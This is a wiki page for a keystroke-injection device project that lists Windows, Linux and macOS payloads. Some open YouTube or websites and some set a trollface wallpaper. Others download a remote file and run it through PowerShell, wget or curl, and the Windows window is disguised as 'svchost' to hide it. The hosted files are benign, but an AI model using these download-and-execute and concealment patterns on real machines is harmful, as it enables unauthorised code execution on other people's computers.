Skip to content

OS specific functionality

Michal edited this page Jan 28, 2019 · 3 revisions

Contents:

2. Linux

3. macOS

Windows

Terminal obfuscation command = echo off & mode 20,1 & title svchost & color 78 & cls
It is used before inputing desired commands in the terminal (to make it smaller and less visible).

Youtube

GUI r
http://www.youtube.com/embed/P86TQNi9LH0?rel=0&autoplay=1

Download and execute

GUI r
cmd
powershell "$down = New-Object System.Net.WebClient; 
$url = 'https://raw.githubusercontent.com/michalmonday/supremeDuck/master/resources/hosted_files/download%20and%20execute%20files/Panda%20gif.gif'; 
$file = 'Panda gif.gif'; 
$down.DownloadFile($url,$file); 
$exec = New-Object -com shell.application; 
$exec.shellexecute($file); 
exit;" & 
exit

Set wallpaper

GUI r
cmd
del %APPDATA%\Microsoft\Windows\Themes\TranscodedWallpaper /Q & 
del %APPDATA%\Microsoft\Windows\Themes\CachedFiles\* /Q & 
powershell "$down = New-Object System.Net.WebClient; 
$url = 'https://raw.githubusercontent.com/michalmonday/supremeDuck/master/resources/hosted_files/wallpapers/Trollface%20-%20U%20mad.jpg' ; 
$file = 'Trollface - U mad.jpg'; 
$down.DownloadFile($url,$file); 
exit;" & 
reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\%USERNAME%\Trollface - U mad.jpg" /f  & 
RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters & 
exit

& gpupdate /force could be added after deleting cached files (from %APPDATA%) to make it more reliable but it would take additional 5 seconds

Website

GUI r
https://www.google.com

Linux

There are many different Linux distro's so it is not as straightforward as it is with Windows, for that reason multiple commands are input at once (targeted at different distros), hoping that at least 1 of them will do the right thing.

Youtube

CTRL ALT t  
xdg-open "http://www.youtube.com/embed/P86TQNi9LH0?rel=0&autoplay=1" &
sleep 0.5 ; 
exit

Download and execute

CTRL ALT t  
wget "https://raw.githubusercontent.com/michalmonday/supremeDuck/master/resources/hosted_files/download%20and%20execute%20files/Panda%20gif.gif" -O "Panda gif.gif" ; 
xdg-open "Panda gif.gif" &
sleep 0.5 ; 
exit

Set wallpaper

One-liner made of few commands to make sure it works with any distro, but split into several lines to be easily read.

Ordered to set wallpaper on: Lubuntu 18.10, LXDE based ones, Ubuntu, Mint.

CTRL ALT t  
wget "https://raw.githubusercontent.com/michalmonday/supremeDuck/master/resources/hosted_files/wallpapers/Trollface%20-%20U%20mad.jpg" -O "Trollface - U mad.jpg"  && 
f=$HOME"/Trollface - U mad.jpg"; 
pcmanfm-qt -w "$f" --desktop-off ; pcmanfm-qt --desktop & 
pcmanfm -w "$f" --desktop-off ; pcmanfm --desktop & 
gsettings set org.gnome.desktop.background picture-uri "file://$f" & 
gsettings set org.cinnamon.desktop.background picture-uri "file://$f" & 
sleep 0.5 ; 
exit

Resources:
https://askubuntu.com/questions/66914/how-to-change-desktop-background-from-command-line-in-unity

Website

CTRL ALT t  
xdg-open "https://www.google.com" &
sleep 0.5 ; 
exit

macOS

It can be seen that the kill -9 $(ps -p $PPID -o ppid=) at the end of most actions. It closes the terminal (simple exit just doesn't work because the terminal window stayed).

Youtube

GUI SPACE
Terminal
open "http://www.youtube.com/embed/P86TQNi9LH0?rel=0&autoplay=1" & 
sleep 0.5 ; 
kill -9 $(ps -p $PPID -o ppid=)

Download and execute

GUI SPACE
Terminal
curl "https://raw.githubusercontent.com/michalmonday/supremeDuck/master/resources/hosted_files/download%20and%20execute%20files/Panda%20gif.gif" -o "Panda gif.gif" && 
open "Panda gif.gif"; 
sleep 0.5 ; 
kill -9 $(ps -p $PPID -o ppid=)

Set wallpaper

GUI SPACE
Terminal
curl "https://raw.githubusercontent.com/michalmonday/supremeDuck/master/resources/hosted_files/wallpapers/Trollface%20-%20U%20mad.jpg" -o "Trollface - U mad.jpg" && 
c="osascript -e 'tell application \"Finder\" to set desktop picture to POSIX file \"$HOME/Trollface - U mad.jpg\"'"; 
eval $c; 
sleep 0.5 ; 
kill -9 $(ps -p $PPID -o ppid=)

Resources: https://apple.stackexchange.com/questions/40644/how-do-i-change-desktop-background-with-a-terminal-command

Not used: https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payload-OSX-Change-Wallpaper (couldn't get this "sqlite3" method to work with macOS 10.12 virtual machine and the "osascript" worked well)

Website

GUI SPACE
Terminal
open "https://www.google.com" & 
sleep 0.5 ; 
kill -9 $(ps -p $PPID -o ppid=)